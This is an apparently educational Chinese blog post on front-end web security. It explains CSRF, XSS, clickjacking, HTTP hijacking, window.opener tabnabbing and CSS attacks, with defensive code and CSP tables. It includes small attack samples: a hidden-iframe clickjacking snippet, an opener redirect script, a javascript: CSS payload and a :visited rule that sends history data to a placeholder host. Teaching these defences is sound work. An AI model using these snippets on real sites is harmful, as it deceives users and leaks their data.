骚年,你确定没有人在折腾你的站点吗?

4,003

前端发展至今, 从最初前端简单的页面切图到现在承担越来越重要的职责, 前端安全一直存在并且日益重要。
算算做了这么些年前端,真正关心安全问题的时候少之又少, 很多时候被安全部门追着跑: "xx, 快,有个漏洞补一补"!

今天我们主要通过了解-攻击-防御几部分对主要的攻击方法做相应的了解, 不求做最锋利的矛,但求做不断加强的盾!demos

CSRF- 跨站请求伪造

a. 什么是CSRF

注: csrf,就像一个小偷, 借用了你的钥匙,打开了你家的保险箱,如果没有二次防御手段, 那就gameover啦

b. CSRF的特征

1). 攻击者为三方的网站

2). 攻击者实际利用的是用户已经在被攻击网站保存的授权信息, 如上图中的login session

3). 用户的实际授权凭证不会被盗取, 只是被借用了

4). 攻击方式多样, 只要可以发起请求就能实施相应的攻击,如上图form表单、图片等等

c. CSRF攻击方式

1). 上图中,通过form表单、img图片加载的方式发起http请求 demo

2). 通过ajax请求, 跨域调用可以加上withCredentials,用于带上被攻击站点的cookie

d. 危害

1). 篡改用户在被攻击站点的数据

2). 盗取用户隐私数据

e. 防御

1). 由于攻击来源于三方

可以判断请求来源refferer, 加refferer白名单

缺点: 跨过refferer的方式很多, 不能全部有效拦截

2). 加csrf-token, 这是主流的解决方案

I. 后端维护csrf token, 进入页面时获取最新token, 提交表单时验证

上述方法,一般用于验证form表单, 如果是ajax,可以采用以下方式

II. js维护一个cookie中的超短时token,接口在接受到数据时校验 demo

f. 漏洞挖掘

1). 目标表单是否带有token验证

2). 是否有验证码

3). 是否判断了referer

4). allow-access 相关参数设置是否有漏洞

5). 目标jsonp数据是否可以自定义callback

2. XSS

a. 什么是XSS

Cross-site scripting,跨站脚本攻击, 相对于csrf, 他的逼格就上升了一个档次,因为他可以盗取到用户的鉴权信息, 然后随意执行操作

b. XSS特征

1). 利用代码漏洞进行攻击

2). 一旦被攻击,就可能导致用户凭证被盗取

3). 存储型XSS会影响全站安全

c. xss攻击方式

1). 通过query string参数解析的漏洞, 插入非法代码 demo

注: 短地址来助攻

2). 通过评论、论坛等用户输入入口,输入非法代码

d. 危害

1). 挂载木马

2). 盗取用户cookie

3). 钓鱼攻击

4).劫持用户行为

e. xss防御

1). htmlEncode

2). javascriptEncode

3). cookie安全 httpOnly

html和js自解码机制,如下表, demo

编码/运行环境 方式 html javascript
HTMLEncode后的字符 - - -
- 使用特殊字符转义 不会
- 使用htmlnode转义 不会
- 使用unicode转义 不会
JavaScriptEncode后的字符 - - -
- 使用unicode转义 不会
- 使用\转义

3. 界面操作劫持

a. 什么是页面操作劫持

用户界面矫正攻击(UI矫正攻击,UI矫正)是一种恶意技术,基于视觉欺骗的web会话劫持攻击

b. 特征

1). 实际攻击来源于第三方网站

2). 用户在不知情的情况下,被欺骗点击,触发了某个操作

c.攻击方式

页面操作劫持技术的基本原理, 是是在用户可见页面上 覆盖了一个不可见的框 。 一般是一个透明的iframe

1). clickjacking

.click-iframe{
           position: relative;
 
       }
       .click-iframe iframe {
           position: absolute;
           border: 0;
           top:-50px;
           left:0;
           opacity: 0; /** 将iframe 隐藏 **/
       }
<div class="click-iframe">
 
    <button>
        抽奖啦
    </button>
 
    <iframe src="http://localhost:3000/static/clickIframe.html">
    </iframe>
</div>

demo详情

当点击抽奖按钮, 实际是点击的clickiframe的赞按钮

2). dragDrop Jacking(ie9以下, ff低版本浏览器)

利用页面拖拽功能, 将被攻击页面作为拖拽对象,demo 拖动放置在一个输入框中, 从而取到被攻击站点的网站源码

3). tapjacking

4). 图片覆盖攻击

a). 在评论或论坛页面, 通过插入一个图片, 设置position为absolute覆盖到页面到任意位置,伪装成网站的原有代码,从而诱使用户访问钓鱼网站。(demo待完善)

d. 危害

1). 诱导用户访问钓鱼网站

2). 窃取用户信息

e. 如何防御

1). 对于点击劫持类的, 可以通过限制iframe嵌入完成

2). 对于文本数据库的,要对css进行过滤

f. 漏洞发掘

1). http响应头是否设置了X-Frame-options 或者 是否有js拦截iframe嵌入(有缺陷)

2). 使用iframe嵌入验证

4. 运营商劫持

a. DNS劫持 & http/https劫持

http劫持是非常常见的,表现情况就是, 你的站点被挂载了其他的内容,广告或者其他恶意代码

一些小运营商或者中间商,会请求过程中对源码进行修改,加入了恶意代码, 由于突破了同源策略, 恶意代码拿到了大部分web权限

https劫持,明显难度更大, 例如我们开发常用的抓包工具charles,就可以设置https代理,从而拿到请求的明文代码

b. 如何防御

1). 一般情况下, 劫持的代码会通过document.write来写入其他的图片、js、css代码,我们可以通过重新document.write来限制这种情况 demo

var _write = document.write,
            _white_list = {
                '127.0.0.1:8081': 1,
            },
 
            _RE_SCRIPTS = /<(script|img|iframe).*?src\=["']?([^"'\s>]+)/ig,
            _RE_DOMAIN = /(.+?)\.([^\/]+).+/;
 
        function sendTJ() {
            console.log("被攻击啦:",arguments)
        }
        document.write = function(str) {
            try {
                var s, safes = [], unknows = [];
                console.log(_RE_SCRIPTS)
                while(s = _RE_SCRIPTS.exec(str)) {
                    console.log(s)
                    if(_white_list[(_RE_DOMAIN.exec(s) || [])[2]]) {
                        safes.push(s);
                    } else {
                        unknows.push(s);
                    }
                }
                if(unknows.length > 0) {
                    sendTJ([unknows[0], safes[0] || ""].join("~_~"), location.href);
                }
                try {
                    _write.call(this, str);
                } catch(ex) {
                    _write(str);
                }
            } catch(ex) {
                sendTJ(ex.name + ":" + ex.message, location.href);
            }
        };

如果攻击不是利用这种方式, 则无法拦截

2). 利用mutationObserver对dom节点监控,如果发现非白名单的标签,进行移除 demo

var MutationObserver = window.MutationObserver || window.WebKitMutationObserver ||  window.MozMutationObserver;
            var whiteListForCSP = [
                'http(s)?:\/\/(.)+.xxx.com',
                'http(s)?:\/\/hm.baidu.com',
                'http(s)?:\/\/res.wx.qq.com'
            ]
 
            // Mutation 观察者对象能监听在某个范围内的 DOM 树变化
            if(MutationObserver) {
                var observer = new MutationObserver(function(mutations) {
                    mutations.forEach(function(mutation) {
                        // 返回被添加的节点,或者为null.
                        var nodes = mutation.addedNodes;
                        for (var i = 0; i < nodes.length; i++) {
                            var node = nodes[i];
                            var tagName = node.tagName && node.tagName.toLowerCase()
                            if ((tagName === "script" || tagName === "iframe" || tagName === "img" || tagName === "link") && node.src && (node.src.indexOf(window.location.protocol+"://"+window.location.hostname) !=0 && !new RegExp("^("+whiteListForCSP.join(")|(")+")").test(node.src))) {
                                try {
                                    node.parentNode.removeChild(node);
                                    console.log('拦截非白名单文件:', node.src);
                                } catch (e) {}
                            }
                        }
                    })
                })
            }
            // 传入目标节点和观察选项
            observer.observe(document, {
                subtree: true,
                childList: true
            });

这种方案缺陷也很明显, 那就是http劫持插入的代码往往在第一行, 同步加载的代码已经被执行了,并不能做到百分百拦截

3). CSP方案

CSP拦截可以做到很细致(demo

属性 描述
child-src 参见值列表 限制为 web workers 和其他内嵌浏览器内容iframe的源地址
font-src 限制字体文件
frame-src 设置允许通过类似<frame>和<iframe>标签加载的内嵌内容的源地址
img-src 限制图片和图标的源地址
media-src 限制通过<audio>、<video>或<track>标签加载的媒体文件的源地址
object-src 限制<object>、<embed>、<applet>标签的源地址
prefetch-src 指定预加载或预渲染的允许源地址
script-src 限制JavaScript的源地址
style-src 限制层叠样式表文件源
worker-src 限制Worker、SharedWorker或者ServiceWorker脚本源
描述 demo
host 域名或ip地址或含通配符* http://*.example.com/store.example.com
schema http:或https:或data:
'self' 必须包含',资源需要和源站的一样的url schame和端口
'unsafe-inline' 是否容许使用内联资源,script或者style或者JavaScript:类型的url
'unsafe-eval' 是否可使用eval
'none'

5. a rel=noopener

原理:利用a标签打开的新窗口会带有一个window.opener对象,指向的是原窗口的window对象

该对象由于同源策略限制,无法读取和操作dom,但是window.opener.location对象却可写

<!-- a页面 -->
 
<a href="http://127.0.0.1:8081/opener2.html"  target="_blank">diff origin url2</a>
 
<!-- b 页面 -->
<script>
    alert("访问opener2")
    if(window.opener) {
        if(window.opener.location) {
            window.opener.location = "http://127.0.0.1:8081/hack.html"
        } else {
            alert("没有合适的opener属性")
        }
    } else {
        alert("没有opener对象")
    }
 
</script>
 
<!-- hack -->
<h3>哈哈哈, 你被攻击啦</h3>

6. css安全

此处没有详细测试css相关攻击方法,只对css存在过或者可能存在的攻击点做描述

a. css 容错性很强, 可以通过加{} 对css字符合法化

b. css资源加载类属性执行javascript(大部分浏览器已拦截该操作)

body {
 backgroud-image:url('javascipt:alert(1)')
}

c. ie下的expression可以执行js代码

d. 利用一些特殊属性

a:visited, css history,可以对访问过的链接,发送一个请求到特定地址 【已被浏览器修补】

#a1:visited{
background: url(http://xxx.com/css/dosave?data=a1)
}

属性选择器

input[value^="x"] {background: url(xxx)}

7. 一些安全相关的知识点

a. referer

源站 访问站 是否可读取
https http false -
http/https false -
无/任意来源 js/css/img/ajax true 站内资源访问referer为访问站点
http http true -
https https true -
file/data http false 来源页是本地文件或者data Url
Referrer-Policy 任意 true/false 按referrer-policy的属性决定
rel=noreferrer 任意

referrer-policy值

含义
no-referrer 不发送
no-referrer-when-downgrade 降级不发送,https嵌入 http时不发送
origin 只发送scheme+host+port
origin-when-cross-origin 跨域请求中只包含origin信息
same-origin 只在同源下发送
strict-origin 需要相同的协议安全等级下发送 如https嵌入http时就不发送
unsafe-url 始终发送

b. 记住密码

现在的主流浏览器都提供了记住密码的功能,这个功能很强大,可以帮助我们减少记录密码的负担, 但是稍有不慎就会发现更危险的事情。

当包含密码项的表单被渲染时, 浏览器就会将明文记录的密码填充到对应的密码项, 我们可以使用dom操作的方式获取到密码的明文

注: 攻击依赖xss

防御方式:

  1. xss防御

  2. 尽量减少密码表单域或其它隐私数据表单域的自动填充

利用输入框的自动填充属性

autocomplete = off | new-password

c. iframe

iframe是web安全中导致问题最多的标签之一, 了解iframe及其机制,有助于我们采取合适的防御机制

一些安全相关属性 demo

属性 描述
csp iframe.csp=参考csp属性和值 用于设置iframe的内容安全策略
referrerpolicy 参考referrer-policy 用于指定获取iframe资源时的referrer
sandbox 创建一个沙箱环境, 并通过指定对应属性来控制

防御措施

  1. x-frame-options 设置iframe嵌入规则

  2. js控制iframe嵌入规则

d). domain

1). domain 可以设置为当前域或者父级域或者根域

e).integrity

包含用户代理可用于验证已提取资源是否已无意外操作的内联元数据。参见 Subresource Integrity。

8.nsp、npm-check

包安全检测, npm的盛行给前端开发中带来了福音,同时也埋入了安全隐患, 当我们轻松引入大量工具包时,有没有关注过该插件是否有安全隐患呢

 npm-check --help

9. 最后

整理两个表格,以帮助大家自检

1).不完全攻击检查

类目 类型 描述 案例
输入框 xss 对输入数据用户展示的输入框是否有xss过滤 用户名输入框被输入了非法代码,同时在前端展示了时错误执行了该代码
url xss 是否有直接读取url中的内容渲染到html的情况 vue v-html,jquery html()等
url 任意url跳转 登录之后一般会有个nextUrl,如果使用了query维护,则可能跳到钓鱼网站 -
cookie csrf 重要信息是否使用httpOnly 如登录的session,key等
form/ajax csrf 检查是否有token -
upload xss 是否有对文件上传做类型限制 -

2). 防御方式参考

类型 防御方式 demo
CSRF csrf token -
- js token demo
- 验证码防御
XSS htmlEncode/JavascriptEncode utils
- X-XSS-Protection 头部默认开启的防御措施
- cookie httponly
- CSP
- 输入内容长度限制
界面劫持 X-Frame-Options deny/sameorigin
- js 拦截iframe
- 对iframe嵌入地址做签名

参考文档

www.npmjs.com/package/web…

blogs.msdn.microsoft.com/ie/2008/07/…

mathiasbynens.github.io/rel-noopene…

infosec.mozilla.org/guidelines/…

www.owasp.org/index.php/R…

developer.mozilla.org/zh-CN/docs/…

书籍《web黑客揭秘》